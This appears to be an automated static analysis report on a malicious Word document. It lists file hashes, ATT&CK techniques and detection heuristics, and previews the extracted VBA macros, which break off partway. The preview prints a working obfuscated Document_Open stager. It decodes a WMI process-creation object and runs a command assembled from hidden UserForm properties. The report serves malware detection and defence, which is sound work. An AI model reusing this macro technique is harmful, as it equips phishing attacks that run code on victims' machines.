Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 37669c0359dca137…

MALICIOUS

Office (OLE)

234.1 KB Created: 2020-08-24 06:07:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 36d3b87e10b793cd426e31ea14052f8c SHA-1: d4ed40ef31e8f33e3d63b0b8baf8368075c686ef SHA-256: 37669c0359dca13764e4f3174509a8599c255b563319735f7453607085f63a8d
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, specifically a Document_Open macro that utilizes a hidden UserForm to execute obfuscated code. This pattern is indicative of a downloader or stager designed to fetch and execute additional malicious content. The ClamAV detection 'Doc.Downloader.Generic-9472189-0' further supports this assessment.

Heuristics 7

  • ClamAV: Doc.Downloader.Generic-9472189-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-9472189-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6533 bytes
SHA-256: d3400763886afa69adc8805043d1cdfd5b4c5f6f164b76e59346a4ea05ebdbea
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Klmtippf3sofr8e7_"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Wp35pqwk8ph.Ejvmmjluurap_
End Sub


Attribute VB_Name = "Wp35pqwk8ph"
Attribute VB_Base = "0{6D264697-1F49-4837-8438-46199E851C09}{4BE44061-5541-4A45-BDC6-D1AF3B738E7B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Ejvmmjluurap_()
      On Error Resume Next
   lMYh54 = (YbktGf7 / 1 - 919 * CSng(89 * Tan(vAqg0) * VEgJ2VN4C * 3929) * 6 - CBool(Lll / Rnd(rzqbwM4c)))
   Set WPYV57 = Wp35pqwk8ph
I256tohnbw4qu9ld4i = 100
      On Error Resume Next
   lMYh54 = (YbktGf7 / 1 - 919 * CSng(89 * Tan(vAqg0) * VEgJ2VN4C * 3929) * 6 - CBool(Lll / Rnd(rzqbwM4c)))
   Set WPYV57 = Wp35pqwk8ph
F6ef8msrj95zeptn2_ = ChrW(I256tohnbw4qu9ld4i + (15))
      On Error Resume Next
   lMYh54 = (YbktGf7 / 1 - 919 * CSng(89 * Tan(vAqg0) * VEgJ2VN4C * 3929) * 6 - CBool(Lll / Rnd(rzqbwM4c)))
   Set WPYV57 = Wp35pqwk8ph
Vx1i9w_x8z9w4wruc = "3%hs8( 8192&&&21gs [[]asd2[3%hs8( 8192&&&21gs [[]asd2[w3%hs8( 8192&&&21gs [[]asd2[i3%hs8( 8192&&&21gs [[]asd2[nm3%hs8( 8192&&&21gs [[]asd2[3%hs8( 8192&&&21gs [[]asd2[gm3%hs8( 8192&&&21gs [[]asd2[t3%hs8( 8192&&&21gs [[]asd2[3%hs8( 8192&&&21gs [[]asd2[" + F6ef8msrj95zeptn2_ + "3%hs8( 8192&&&21gs [[]asd2[3%hs8( 8192&&&21gs [[]asd2[:3%hs8( 8192&&&21gs [[]asd2[w3%hs8( 8192&&&21gs [[]asd2[in3%hs8( 8192&&&21gs [[]asd2[3%hs8( 8192&&&21gs [[]asd2[33%hs8( 8192&&&21gs [[]asd2[23%hs8( 8192&&&21gs [[]asd2[_3%hs8( 8192&&&21gs [[]asd2[" + Wp35pqwk8ph.Kkyol7j6j_bn88 + "3%hs8( 8192&&&21gs [[]asd2[ro3%hs8( 8192&&&21gs [[]asd2[3%hs8( 8192&&&21gs [[]asd2[ce3%hs8( 8192&&&21gs [[]asd2[s3%hs8( 8192&&&21gs [[]asd2[s3%hs8( 8192&&&21gs [[]asd2["
      On Error Resume Next
   lMYh54 = (YbktGf7 / 1 - 919 * CSng(89 * Tan(vAqg0) * VEgJ2VN4C * 3929) * 6 - CBool(Lll / Rnd(rzqbwM4c)))
   Set WPYV57 = Wp35pqwk8ph
Qcmwjbvfsokyrk = Utlpd3v7may(Vx1i9w_x8z9w4wruc)
      On Error Resume Next
   lMYh54 = (YbktGf7 / 1 - 919 * CSng(89 * Tan(vAqg0) * VEgJ2VN4C * 3929) * 6 - CBool(Lll / Rnd(rzqbwM4c)))
   Set WPYV57 = Wp35pqwk8ph
Set X52r8hsx9gs = CreateObject(Qcmwjbvfsokyrk)
      On Error Resume Next
   lMYh54 = (YbktGf7 / 1 - 919 * CSng(89 * Tan(vAqg0) * VEgJ2VN4C * 3929) * 6 - CBool(Lll / Rnd(rzqbwM4c)))
   Set WPYV57 = Wp35pqwk8ph
H__9_ave3efc5 = Wp35pqwk8ph.B2svt9fmdxvo.ControlTipText
      On Error Resume Next
   lMYh54 = (YbktGf7 / 1 - 919 * CSng(89 * Tan(vAqg0) * VEgJ2VN4C * 3929) * 6 - CBool(Lll / Rnd(rzqbwM4c)))
   Set WPYV57 = Wp35pqwk8ph
T7w__pybvq_p6v = Zp14fu9o5na2bi + (Qcmwjbvfsokyrk + F6ef8msrj95zeptn2_ + Wp35pqwk8ph.Yztwf1vzbwpj9clph.ControlTipText + H__9_ave3efc5)
      On Error Resume Next
   lMYh54 = (YbktGf7 / 1 - 919 * CSng(89 * Tan(vAqg0) * VEgJ2VN4C * 3929) * 6 - CBool(Lll / Rnd(rzqbwM4c)))
   Set WPYV57 = Wp35pqwk8ph
X_6_4ob6aenq = T7w__pybvq_p6v + Wp35pqwk8ph.Kkyol7j6j_bn88
      On Error Resume Next
   lMYh54 = (YbktGf7 / 1 - 919 * CSng(89 * Tan(vAqg0) * VEgJ2VN4C * 3929) * 6 - CBool(Lll / Rnd(rzqbwM4c)))
   Set WPYV57 = Wp35pqwk8ph
Set Hzg1r1vu06ahf9x8k = Naalszavwy9mk3xa(X_6_4ob6aenq)
      On Error Resume Next
   lMYh54 = (YbktGf7 / 1 - 919 * CSng(89 * Tan(vAqg0) * VEgJ2VN4C * 3929) * 6 - CBool(Lll / Rnd(rzqbwM4c)))
   Set WPYV57 = Wp35pqwk8ph
Lq7729rl3b6t = Array(Cpglmjte4fdarmy7t + "H42dog2zuse Ulbflpgzp4zayl37jvLi9v1b_aavyzb_6n4 Ibjz6zrd1qcp6q0zz1", X52r8hsx9gs.Create(Mn0y4i3rb1ifk, Smdloge2dya40099u, Hzg1r1vu06ahf9x8k), Tojdwmu0v1i2mlf + "Bxi27s19op1yeq9 Le9lvx133qvptnm Qp8kz4zjzl1gw85f Slhn60q8q0p8load_")
      On Error Resume Next
   lMYh54 = (YbktGf7 / 1 - 919 * CSng(89 * Tan(vAqg0) * VEgJ2VN4C * 3929) * 6 - CBool(Lll / Rnd(rzqbwM4c)))
   Set WPYV57 = Wp35pqwk8ph
End Function
Function Naals
... (truncated)